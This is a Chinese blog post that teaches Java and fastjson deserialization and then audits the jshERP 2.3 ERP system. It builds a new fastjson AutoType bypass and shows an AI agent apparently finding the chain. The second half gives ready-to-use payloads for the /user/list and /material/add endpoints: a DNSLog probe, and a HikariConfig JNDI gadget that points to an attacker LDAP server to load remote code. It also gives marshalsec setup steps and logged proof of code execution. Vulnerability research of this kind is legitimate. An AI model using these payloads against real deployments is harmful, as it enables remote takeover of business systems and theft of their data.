再次学习java序列化和反序列化(fastjson反序列化bypass)

在学习序列化和反序列化过程中,我们要思考一个问题? 什么是序列化和反序列化
PixPin_2026-10-19_21-28-42
这里面主要涉及两个东西,一个是存储于内存中的JAVA对象,另外是存在于磁盘网络中的字符串和二进制流。
序列化,是将存在于内存里的JAVA对象,想办法转变成存在于磁盘网络里的字符串和二进制流。
而反序列化是将存在于磁盘网络里的字符串和二进制流转变成存在于内存里的JAVA对象。
序列化是把内存中的对象状态转换成可存储、可传输的字节序列或文本表示;反序列化是把这些数据恢复成内存中的对象。

先说一下,由于知乎审核,什么原因都不说,就把我的文章给限流了,消息和通知啥都没有,反正换各种小号都看不到,也不给通知。所以我想了一下,你爱咋弄咋弄去,大不了接着在博客园写呗。 我得阴阳一下知乎了,怪不得你那上面没有什么硬核的网安技术文章,都被审核给限流了。
所以这篇文章是直接搬运我在知乎上的文章。

下面以 fastjson 为例,来说明问题PixPin_2026-10-23_01-39-30
PixPin_2026-10-23_01-44-27
Person 类 (被序列化的目标对象)

public class Person implements Serializable {  
public String name; 
 public int age;  
// ... }
  • implements Serializable:实现了这个接口,代表这个类的对象可以被 Java 原生的 ObjectOutputStream 进行序列化(转成二进制流)。
  • public字段:注意这里的 name 和 age 都是 public 的。在使用 Fastjson 进行反序列化时,如果类中没有无参构造方法,或者想直接赋值,Fastjson 会默认调用 setter 方法,或者直接给 public 字段赋值。
    测试代码 test1 和 test2 (Fastjson 的实际转换)

这里演示了基于 JSON 格式的序列化和反序列化:

  1. test1() —— 序列化过程(Java 对象 -> JSON 字符串)
Person person = new Person(「fast」, 999); 
JSONObject json = (JSONObject) JSON.toJSON(person);
  • 把内存里的 person 对象,通过 JSON.toJSON() 方法变成了一个 JSONObject,打印出来其实就是 {「name」:「fast」,「age」:999}。这就是序列化。
  1. test2() —— 反序列化过程(JSON 字符串 -> Java 对象)
String s = 「{\」name\「:\」fast\「,\」age\「:999}」; 
JSONObject json1 = JSON.parseObject(s); 
// 转成通用的 JSON 对象 Person real = JSON.parseObject(s, Person.class); // 转成具体的 Java 对象
  • 把磁盘/网络里的字符串 s,通过 JSON.parseObject(s, Person.class) 还原成了内存里的 real 对象。这就是反序列化。
  • 注意:JSON.parseObject(s, Person.class) 底层会去调用 Person 类的构造方法或 setter 方法来把属性填进去。PixPin_2026-10-23_01-50-27
    这张图展示的是 Java 原生序列化与反序列化的标准写法。“将存在于内存里的 Java 对象,转变成存在于磁盘里的二进制流”,以及反向操作。

1. 代码拆解

① 创建内存对象

Person obj = new Person(「wuya」, 666);
此时对象只存在于 JVM 内存中,程序一关就没了。
② 序列化过程(对象 -> 磁盘)

ObjectOutputStream outStream = new ObjectOutputStream(new FileOutputStream(filePath));
outStream.writeObject(obj);
  • FileOutputStream:负责把数据写进文件。
  • ObjectOutputStream:这是 Java 原生序列化的核心,它把 obj 对象(包括对象头、类名、属性值等)按照 Java 特有的二进制协议,转成了二进制字节流。

此时,你的 D:/wuya.xxx 文件里装的已经不再是纯文本了,而是人类看不懂的二进制乱码。
③ 反序列化过程(磁盘 -> 对象)

ObjectInputStream inStream = new ObjectInputStream(new FileInputStream(filePath));
Person readObject = (Person)inStream.readObject();
  • ObjectInputStream 读取刚才写入的二进制文件,并自动还原成 Person 对象。
  • 核心知识点:readObject() 方法在底层会去实例化 Person 对象,并把文件里保存的属性值重新赋给该对象。
    PixPin_2026-10-23_01-54-05

2. 结合安全(POC)视角应该注意什么?

既然依赖里导入了 commons-collections:3.1,那么这段代码正是构建原生反序列化漏洞(RCE)的基础。

要知道,inStream.readObject() 在反序列化的过程中,会自动调用目标类(以及它内部属性)的 readObject() 方法。

  • 正常情况:Person 类里的 readObject() 只是乖乖地把名字和年龄读出来。(实际上 Person 类没重写 readObject,所以走的是默认机制)。
  • 恶意情况:如果攻击者构造了一个恶意序列化文件(比如利用了 CommonsCollections 里的 InvokerTransformer 等类),当你的程序执行 readObject() 时,底层会自动触发一系列连锁反应(Gadget 链),最终执行任意系统命令。
    注意:Fastjson 不等于 Java 原生序列化

文中容易给新手错觉:Fastjson 的 JSON 序列化不是 Java 原生 Object 序列化,Fastjson 反序列化漏洞和 CC 反序列化漏洞是两套完全不同的体系。

Fastjson 是 JSON 库的序列化,和 Java 原生 Serializable 是两套独立机制。Fastjson 的漏洞是 AutoType 类型自动推断带来的,和 CommonsCollections 原生反序列化 Gadget 链不是同一个漏洞。很多面试会问这个区别,新手极易混淆。

下面是 jshERP 的 fastjson 的 一条新的利用链的构造
项目地址:https://github.com/jishenghua/jshERP/archive/refs/tags/v2.3.zip
image
上面是我喂的 agent,直接就把整条链给打穿了,下面我手动的带大家过一遍

先说下思路方法
第 0 步:明确审计目标与前置信息

PixPin_2026-10-23_02-02-39

审计者脑子里始终带着一个核心问题:「用户输入的数据,能不能最终流到某个危险函数里?」
第 1 步:依赖审计(先看引用了什么「炸弹」)
操作:打开 pom.xml,逐个看 。
grep -n 「artifactId\|version」 pom.xml
关键发现:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.55</version>      <!-- 危险版本 -->
</dependency>

判定依据(人工对照漏洞库/记忆):

  • fastjson 1.2.55 落在多个已公开 RCE 漏洞区间:≤1.2.61(AutoType 黑名单绕过 gadget)、≤1.2.68、≤1.2.80(CVE-2022-25845)、≤1.2.83。
  • 看到 fastjson 1.x 老版本,审计者应立即提高警惕,去找它的 parse 系列调用点。
  • ****顺手看传递依赖:mybatis-plus-boot-starter → spring-boot-starter-jdbc → HikariCP 2.7.8。这一步不是必须,但后面判断「有没有可用 gadget」时会用到。

审计技巧:mvn dependency:tree 能列出完整依赖树,帮你在 classpath 里找可利用的 gadget 组件。

第 2 步:定位反序列化 Sink(找危险函数调用)
操作:全局搜索 fastjson 的危险 API。
grep -rn 「JSON.parse\|JSONObject.parse\|parseObject\|parseArray」 src/main/Java --include=「*.Java」
人工分类判断(关键!),fastjson 的用法分三档:
PixPin_2026-10-23_02-06-01
找到的 Sink(StringUtil.Java:217):

public static String getInfo(String search, String key){
    String value = 「」;
    if(search!=null) {
        JSONObject obj = JSONObject.parseObject(search);   // ← 无目标类,高危
        value = obj.getString(key);
        ...
    }
    return value;
}

判断:JSONObject.parseObject(String) 内部就是 JSON.parseObject(String),没有指定目标类、没有开 SafeMode,参数 search 又是方法入参——这是最危险的形态。
第 3 步:反向追踪数据流(Sink → 谁调用 → 直到 HTTP 入口)
操作:以 Sink 为起点,一层层往上找「谁把用户输入传进来了」。

3.1 找 getInfo 的调用方法:

grep -rn 「getInfo(」 src/main/Java --include=「*.Java」 | grep -v 「getInfoByBarCode\|\.getInfo()」
结果:22 个 Component 类都在用,例如 UserComponent.Java:

// UserComponent.Java:31-33
String search = map.get(Constants.SEARCH);          // search 从 map 取
String userName = StringUtil.getInfo(search, 「userName」);   // 传入 sink
String loginName = StringUtil.getInfo(search, 「loginName」);

3.2 找 Component 的调用方(select/counts 谁调): CommonQueryManager.Java:48,63 → container.getCommonQuery(apiName).select/counts(...)。

3.3 找最终 HTTP 入口: ResourceController.Java:49-66:

@GetMapping(value = 「/{apiName}/list」)
public String getList(@PathVariable(「apiName」) String apiName,
                      @RequestParam(value = 「search」, required = false) String search, ...) {
    parameterMap.put(「search」, search);                       // ← 用户输入
    List<?> list = configResourceManager.select(apiName, parameterMap);
    queryInfo.setTotal(configResourceManager.counts(apiName, parameterMap));
}

3.4 确认组件注册名(apiName 怎么映射到 Component): 看 @UserResource 注解 → @ResourceInfo(value = 「user」) → 所以 /user/list 会路由到 UserComponent。

画出的完整数据流:

GET /user/list?search=<攻击者输入>
  → ResourceController.getList()          [search 参数完全可控]
  → CommonQueryManager.select(「user」, map)
  → InterfaceContainer → UserComponent
  → UserComponent.getUserList(map)
  → StringUtil.getInfo(search, ...)
  → JSONObject.parseObject(search)        [反序列化 Sink]

审计技巧:逆向「数据流」是手工审计的核心。工具只是帮你 grep,真正要人肉判断的是——每一层传递中,数据有没有被过滤/校验?。本案例里从 HTTP 到 sink,search 一路原样透传,没有任何校验。

第 4 步:确认入口可达性(认证/过滤分析)
操作:看 Filter / 拦截器 / 权限注解。

find src/main/Java -name 「*Filter*.Java」 -o -name 「*Interceptor*.Java」
读 LogCostFilter.Java:

@WebFilter(urlPatterns = {「/*」},
    initParams = {
        @WebInitParam(name=「filterPath」,
            value=「/user/login#/user/registerUser#/v2/api-docs」)})  // 白名单
...
if (userInfo != null) { chain.doFilter(...); return; }   // 已登录放行
...
if (allowUrls 命中) { chain.doFilter(...); return; }     // 白名单放行
servletResponse.sendRedirect(「/login.HTML」);             // 其余跳登录

结论:

  • /user/list 等业务接口需要登录态(session 里有 user)。
    但任何已登录用户(哪怕最低权限)都能打这个 sink。
  • 再结合 jshERP 历史未授权漏洞(CNVD-2020-61849 / 63964),可组合升级为未授权 RCE。
  • 审计技巧:确认可达性时,要同时看「需要什么权限」和「是否存在绕过」。不要因为「需要登录」就直接放过,要评估登录门槛有多低、有没有未授权入口。

第 5 步:利用条件分析(能不能 RCE,取决于三个开关)
5.1 项目是否开启了 AutoType?

grep -rn 「setAutoTypeSupport\|SafeMode\|autoTypeSupport」 src/main/Java
结果:无 → 默认 AutoType 关闭。所以直接打 @type 任意类会被 checkAutoType 拦截(报 autoType is not support)。

5.2 classpath 里有没有可用的 gadget?

经典 JdbcRowSetImpl、JndiDataSourceFactory 在 1.2.55 已被黑名单拦截(可实测)。
但 com.zaxxer.hikari.HikariConfig(来自 Spring Boot 默认连接池 HikariCP)在 1.2.55 未被拉黑,且 setMetricRegistry(String) 会触发 JNDI lookup → 是可用 gadget。
5.3 JDK 版本对 JNDI 远程类加载的限制?

JDK 8u191+ / 11+ 默认 trustURLCodebase=false,会阻断远程类加载(需 -D...trustURLCodebase=true 或低版本 JDK)。
目标年代(2020)普遍是 JDK8u191 以下 → 可直接利用。
审计结论:

默认配置 → SSRF/DNS 外带可用(Java.net.Inet4Address 由内置 MiscCodec 处理,AutoType 关也能触发 DNS)。
AutoType 开启(部署时常见)→ 配合 HikariConfig gadget → 完整 RCE。
第 6 步:验证(先低成本探测,再上 RCE)
6.1 DNSLog 外带验证(证明 sink 可达 + @type 被处理)

发请求:

GET /user/list?search={「@type」:「Java.net.Inet4Address」,「val」:「xxx.dnslog.cn」}
若 dnslog 平台收到 DNS 解析 → 证明 search 参数确实进了 parseObject 且 @type 生效。

6.2 RCE 验证

1.写恶意类(静态代码块执行命令/写文件),编译成 .class;
2.起 HTTP 服务托管 .class;
3.起 marshalsec LDAP 服务返回 Reference;
4.发 payload:
GET /user/list?search={「@type」:「com.zaxxer.hikari.HikariConfig」,「metricRegistry」:「ldap://攻击机:1389/exploit」}
5.观察受害者机器落地标记文件 / 反弹 shell → RCE 确认。
第 7 步:定级与输出报告
按上面证据,最终结论:

漏洞类型:CWE-502 反序列化(fastjson AutoType)
影响:远程代码执行(条件:AutoType 开启 + 低版本 JDK);默认配置下为 SSRF/DNS 外带
危害范围:22 个 /{apiName}/list 接口共用同一 sink
修复:升级 fastjson / 开 SafeMode / 指定目标类 / 过滤 @type

agent 给出的审计步骤是基于 Linux 命令,下面我用 IDEA 来演示

第 1 步 通过项目的 README.md 读取相关的技术栈信息,或者去公网根据系统版本号搜
image

**第 2 步 **翻 pom.xml
image

常用快捷键:https://share.mubu.com/doc/mRA8agKmME

顺手看传递依赖:mybatis-plus-boot-starter → spring-boot-starter-jdbc → HikariCP 2.7.8。这一步不是必须,但后面判断「有没有可用 gadget」时会用到。

审计技巧:mvn dependency:tree 能列出完整依赖树,帮你在 classpath 里找可利用的 gadget 组件
**第 3 步 **根据 fastjson 常见调用方法

一个个去试

JSON.parse

JSONObject.parse

parseObject

parseArray

人工分类判断,fastjson 的用法分三档:
PixPin_2026-10-23_02-16-29

最后全局搜索 JSON.parseObject
image
问题:这么多语句调用了这个方法,我先看哪一个呢
PixPin_2026-10-23_02-16-29

重点盯住参数为 beanJson / search / jsonStr / str / dataJson,且没有传入.class 目标的语句

根据实际情况 JSON.parseObject(str)危害最大,先看这个

第一处 JSON.parseObject(str)

@RequestMapping(value = 「/getMaterialCategoryTree」)
    public JSONArray getMaterialCategoryTree(@RequestParam(「id」) Long id) throws Exception{
       JSONArray arr=new JSONArray();
       List<TreeNode> materialCategoryTree = materialCategoryService.getMaterialCategoryTree(id);
       if(materialCategoryTree!=null&&materialCategoryTree.size()>0){
           for(TreeNode node:materialCategoryTree){
               String str=JSON.toJSONString(node);
               JSONObject obj=JSON.parseObject(str);
               arr.add(obj) ;
           }
       }
        return arr;
    }

审计反序列化漏洞的核心是:攻击者能否控制进入 parseObject 的那个字符串。

我们来看这段代码的数据流:

入口:public JSONArray getMaterialCategoryTree(@RequestParam(「id」) Long id)
接收的参数只有 id,而且类型是 Long(数字)。攻击者无法通过数字注入恶意的 JSON 字符串。

中间处理:materialCategoryService.getMaterialCategoryTree(id)
根据 id 去数据库查数据,返回 List。

序列化(安全):String str = JSON.toJSONString(node);
后端自己把 TreeNode 对象转成了标准的 JSON 字符串。

反序列化(Sink):JSONObject obj = JSON.parseObject(str);
这里解析的 str,完全是后端自己生成的,100% 受控于后端。攻击者没有任何途径能在 str 里面塞入 {「@type」:「恶意类」}。

顺便吐槽一下业务逻辑:这段代码写得极其“脱裤子放屁”。它把对象 node 序列化成字符串 str,又马上把 str 反序列化回 JSONObject,然后塞进数组里。纯属浪费 CPU,但这属于代码规范问题,不是安全问题。
第二处 JSON.parseObject(str)

   @RequestMapping(value = 「/getOrganizationTree」)
    public JSONArray getOrganizationTree(@RequestParam(「id」) Long id) throws Exception{
       JSONArray arr=new JSONArray();
       List<TreeNode> organizationTree= organizationService.getOrganizationTree(id);
       if(organizationTree!=null&&organizationTree.size()>0){
           for(TreeNode node:organizationTree){
               String str=JSON.toJSONString(node);
               JSONObject obj=JSON.parseObject(str);
               arr.add(obj) ;
           }
       }
        return arr;
    }

不存在,原因同上
第三处 JSON.parseObject(str)

@RequestMapping(「/getOrganizationUserTree」)
    public JSONArray getOrganizationUserTree()throws Exception{
        JSONArray arr=new JSONArray();
        List<TreeNodeEx> organizationUserTree= userService.getOrganizationUserTree();
        if(organizationUserTree!=null&&organizationUserTree.size()>0){
            for(TreeNodeEx node:organizationUserTree){
                String str=JSON.toJSONString(node);
                JSONObject obj=JSON.parseObject(str);
                arr.add(obj) ;
            }
        }
        return arr;
    }

拆解分析:

  • 入口无输入:getOrganizationUserTree() 方法没有任何参数,请求压根没带外部数据进来。
  • 数据来源:userService.getOrganizationUserTree() 从数据库(或者某些内部逻辑)查出对象列表。
  • 序列化再反序列化:String str = JSON.toJSONString(node); 然后立刻 JSON.parseObject(str);。攻击者完全接触不到这个 str 变量,所以打不了 @type。
    手工审计是不是感觉麻烦多了,很正常,下面继续。

思考,三处 JSON.parseObject(str)都不存在,该怎么办。

前面的全局搜索 JSON.parseObject 不是返回很多吗

下面看 beanJson 或者 search,先看没有传入 class 的

问题:为什么后面现在先看 beanJson,看没有传入 class 的

  1. 先回顾 Fastjson 风险分级

🔴 最高危:JSON.parseObject(字符串) 只传 JSON 字符串,不指定目标 Class
Fastjson 在这种模式下,会解析 JSON 里的@type 字段,尝试自动实例化对应的类。只要 AutoType 开关允许 + classpath 存在可用 Gadget,就能触发反序列化链。

🟡 中危:JSON.parseObject(str, SomeClass.class) 指定目标类
它只会把 JSON 映射到你写死的 SomeClass,不会随便实例化任意类。只有目标类里面存在危险 setter/getter,或者字段类型是 Object/Map 等情况,才存在二次利用的可能,利用门槛高很多。

🟢 安全:带 SafeMode + 指定 Class
@type 直接失效,基本断绝 AutoType 反序列化的入口。

一句话:不带 class 参数的调用,是 @type 注入能生效的核心前提,优先级最高,先审计。

  1. 为什么专门盯着变量名 beanJson

变量名只是审计的经验线索,不是硬性规则。
写业务代码的开发,习惯把「用来解析 JSON 对象的字符串」命名成:
beanJson / search / jsonStr / str / dataJson

  • search:一般是前端查询参数、HTTP 参数,大概率外部可控
  • beanJson:业务开发常用命名,含义是后端接收的、用来转 Java Bean 的 JSON 字符串
    这种变量,很大概率来源:
    HTTP 请求 body、接口传参、MQ 消息、Redis 读取、第三方接口返回。

第一处 beanJson

@Transactional(value = "transactionManager", rollbackFor = Exception.class)
    public int insertMaterial(String beanJson, HttpServletRequest request)throws Exception {
        Material m = JSONObject.parseObject(beanJson, Material.class);
        m.setEnabled(true);
        try{
            Long mId = null;
            materialMapper.insertSelective(m);
            List<Material> materials = getMaterialListByParam(m.getName(),m.getModel(),m.getColor(),
                    m.getStandard(), m.getMfrs(),m.getUnit(),m.getUnitId());
            if(materials!=null && materials.size()>0) {
                mId = materials.get(0).getId();
            }
            JSONObject mObj = JSON.parseObject(beanJson);
            materialExtendService.saveDetials(mObj.getString("inserted"), mObj.getString("deleted"), mObj.getString("updated"),mObj.getString("sortList"), mId);
            if(mObj.get("stock")!=null) {
                String stockStr = mObj.getString("stock");
                JSONArray stockArr = JSONArray.parseArray(stockStr);
                for(Object object: stockArr) {
                    JSONObject jsonObj = (JSONObject)object;
                    if(jsonObj.get("depotId")!=null && jsonObj.get("number")!=null) {
                        String number = jsonObj.getString("number");
                        Long depotId = jsonObj.getLong("depotId");
                        if(StringUtil.isNotEmpty(number) && Double.valueOf(number)>0) {
                            insertStockByMaterialAndDepot(depotId, mId, parseBigDecimalEx(number));
                        }
                    }
  • JSON.parseObject(String)不指定目标类,等价于 JSON.parseObject(beanJson, (Class)null),会完整处理 @type。
  • 而它前面那行 JSONObject.parseObject(beanJson, Material.class) 是指定了目标类的,@type 会被 expectClass=Material 约束,任意类会被 isAssignableFrom 卡掉——所以真正的漏洞点是第二行(无类型的那次)。
  • 关键点:同一个 beanJson 被解析了两次,第一次安全、第二次危险。开发者的本意只是「再取几个额外字段」,却把原始不可信字符串重新丢进了无约束的 parseObject。

我们需要往上找两件事:

1.beanJson 从哪里来?是 Controller 接收的参数吗?来自 request body / 请求参数?
2.在传到 JSON.parseObject 之前,有没有过滤、转义、重写 JSON?有没有被后端固定拼接?
看 insertMaterial 这个方法

image
通过预览这个方法里面发现了我们想要的参数 beanJson

追踪后

   @Override
    public int insert(String beanJson, HttpServletRequest request) throws Exception{
        return materialService.insertMaterial(beanJson, request);
    }

image
insert这个方法,再次追踪

@Transactional(value = "transactionManager", rollbackFor = Exception.class)
    public int insert(String apiName, String beanJson, HttpServletRequest request) throws Exception{
        if (StringUtil.isNotEmpty(apiName)) {
            return container.getCommonQuery(apiName).insert(beanJson, request);
        }
        return 0;
    }

image
insert这个方法,再次追踪到最终的http层image

@PostMapping(value = "/{apiName}/add", produces = {"application/javascript", "application/json"})
    public String addResource(@PathVariable("apiName") String apiName,
                              @RequestParam("info") String beanJson, HttpServletRequest request)throws Exception {
        Map<String, Object> objectMap = new HashMap<String, Object>();
        int insert = configResourceManager.insert(apiName, beanJson, request);
        if(insert > 0) {
            return returnJson(objectMap, ErpInfo.OK.name, ErpInfo.OK.code);
        } else if(insert == -1) {
            return returnJson(objectMap, ErpInfo.TEST_USER.name, ErpInfo.TEST_USER.code);
        } else {
            return returnJson(objectMap, ErpInfo.ERROR.name, ErpInfo.ERROR.code);
        }
    } 

分析

@PostMapping(value = "/{apiName}/add", ...)        // ① HTTP 入口路径
public String addResource(@PathVariable("apiName") String apiName,
                          @RequestParam("info") String beanJson, ...) {  // ② 用户输入
    int insert = configResourceManager.insert(apiName, beanJson, request);  // ③ 往下传

看到 @RestController + @XxxMapping + @RequestParam/@PathVariable,就说明这已经是 HTTP 入口层了——外部请求的数据从这些注解"灌"进来。

PixPin_2026-10-23_02-26-33

下面验证顶层 @type
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://..."}
结果:第一行 parseObject(beanJson, Material.class) 直接抛:
type not match. com.zaxxer.hikari.HikariConfig -> Material
黑盒也复现:/material/add 顶层 @type → type not match,marker 没落地。

然后agent得出结论:

insertMaterial 的 165 行 sink 前面有 Material.class 护盾,顶层 @type 被挡,打不通,是潜在风险。"

思考一下:

这里顶层 @type没有成功,但是真的没有其他的sink了吗?

看梦开始的地方

@Transactional(value = "transactionManager", rollbackFor = Exception.class)
    public int insertMaterial(String beanJson, HttpServletRequest request)throws Exception {
        Material m = JSONObject.parseObject(beanJson, Material.class);
        m.setEnabled(true);
        try{
            Long mId = null;
            materialMapper.insertSelective(m);
            List<Material> materials = getMaterialListByParam(m.getName(),m.getModel(),m.getColor(),
                    m.getStandard(), m.getMfrs(),m.getUnit(),m.getUnitId());
            if(materials!=null && materials.size()>0) {
                mId = materials.get(0).getId();
            }
            JSONObject mObj = JSON.parseObject(beanJson);
            materialExtendService.saveDetials(mObj.getString("inserted"), mObj.getString("deleted"), mObj.getString("updated"),mObj.getString("sortList"), mId);
            if(mObj.get("stock")!=null) {
                String stockStr = mObj.getString("stock");
                JSONArray stockArr = JSONArray.parseArray(stockStr);
                for(Object object: stockArr) {
                    JSONObject jsonObj = (JSONObject)object;
                    if(jsonObj.get("depotId")!=null && jsonObj.get("number")!=null) {
                        String number = jsonObj.getString("number");
                        Long depotId = jsonObj.getLong("depotId");
                        if(StringUtil.isNotEmpty(number) && Double.valueOf(number)>0) {
                            insertStockByMaterialAndDepot(depotId, mId, parseBigDecimalEx(number));
                        }
                    }
                }

里面的

if(mObj.get("stock")!=null) {
                String stockStr = mObj.getString("stock");
                JSONArray stockArr = JSONArray.parseArray(stockStr);

关键分析:

1.stock 是字符串字段,Material 实体里没有 stock → 第一行 parseObject(beanJson, Material.class) 会直接忽略它,不会报错。
2.但第 173 行 JSONArray.parseArray(stockStr) 会把这个字符串重新解析成数组,数组元素里的 @type 会被 fastjson 处理。
所以:顶层 @type 被挡,但"字符串里藏的数组元素 @type"没被挡——这就是 bypass 的切入点。
构造 payload(顶层无 @type,stock 字符串里藏 @type)
{"name":"测试","stock":"[{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"ldap://127.0.0.1:1389/exploit\"}]"}
白盒测试结果:

第一行 parseObject(beanJson, Material.class) → 成功(stock 被忽略)
165行 JSON.parseObject(beanJson)              → 成功取出 stock 字符串
JSONArray.parseArray(stockStr)                → ConnectException(真去连 1389 了)✅

ConnectException: Connection refused 证明:JNDI 查找真的被触发了(当时 LDAP 没启动,所以连不上)

第一次黑盒打,payload 只有 name + stock:

异常:Value for model cannot be null
      at getMaterialListByParam(MaterialService.java:602)

报错详情

java.lang.RuntimeException: Value for model cannot be null
    at ...MaterialExample$GeneratedCriteria.andModelEqualTo(MaterialExample.java:439)  ← 报错点
    at ...MaterialService.getMaterialListByParam(MaterialService.java:602)              ← 它调的
    at ...MaterialService.insertMaterial(MaterialService.java:160) 

审计中遇到报错栈的正确读法:从栈最下面往上读,就是"谁调用了谁"的完整链路;最上面的异常类告诉了"到底为什么炸"。
at ...MaterialService.insertMaterial(MaterialService.java:160)
先看这个
image

从getMaterialListByParam追踪
image

private List<Material> getMaterialListByParam(String name, String model, String color,
                                                  String standard, String mfrs, String unit, Long unitId) {
        MaterialExample example = new MaterialExample();
        MaterialExample.Criteria criteria = example.createCriteria();
        criteria.andNameEqualTo(name).andModelEqualTo(model);
        if (StringUtil.isNotEmpty(color)) {
            criteria.andColorEqualTo(color);
        }

关键点:criteria.andNameEqualTo(name).andModelEqualTo(model) 这一行是无条件执行的,MyBatis 的 Example 生成器会检查参数非空——model 为 null 就抛 RuntimeException: Value for model cannot be null。

这就是为什么我的第一个 payload(只有 name + stock,没带 model)会在第 160 行就异常退出,根本走不到后面 173 行的 JSONArray.parseArray(stockStr)。
下面是bypass成功的payload:

{"name":"审计测试商品","model":"M001",
 "stock":"[{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"ldap://127.0.0.1:1389/exploit\"}]"}

结果:RCE 成功

LDAP 日志:Send LDAP reference ... redirecting to http://127.0.0.1:8000/BbPwn.class
受害者 JVM:[BB-PWNED] marker written: F:/daimashenji/jshERP-2.3/BB_PWNED.txt

孩子们,学废了吗

电脑没电了,下期再见

最后总结一下:反正就是投网安技术文章,千万别投知乎上,尤其是payload很强的那种
PixPin_2026-10-23_02-48-08
PixPin_2026-10-23_02-48-16

其实我写这么详细,还是希望你们跟着我学点东西。我这个人在很多事上比较懒,但是在写文章这件事上,出奇的勤快。我还是希望这种技术能传承下去。如果我偷懒那么一两步,有的新手可能复现不成功,就可能对这个行业的热情有所减退,这是我不希望看到的。我还是希望我写的文章能够给更多的新人引路,个人认为,这篇文章写的很好,起码是个新的利用链吧。这篇文章写这么详细,搁csdn多少也是个要钱的吧,且行且珍惜。也不是网上那种随便的一水文,好,今天就到这,明天的文章来进行一个rce复现,就是今天挖的这个bypass,进行反弹shell讲解。

posted @ 2026-10-23 02:44  你好,星  阅读(28)  评论(0)    收藏  举报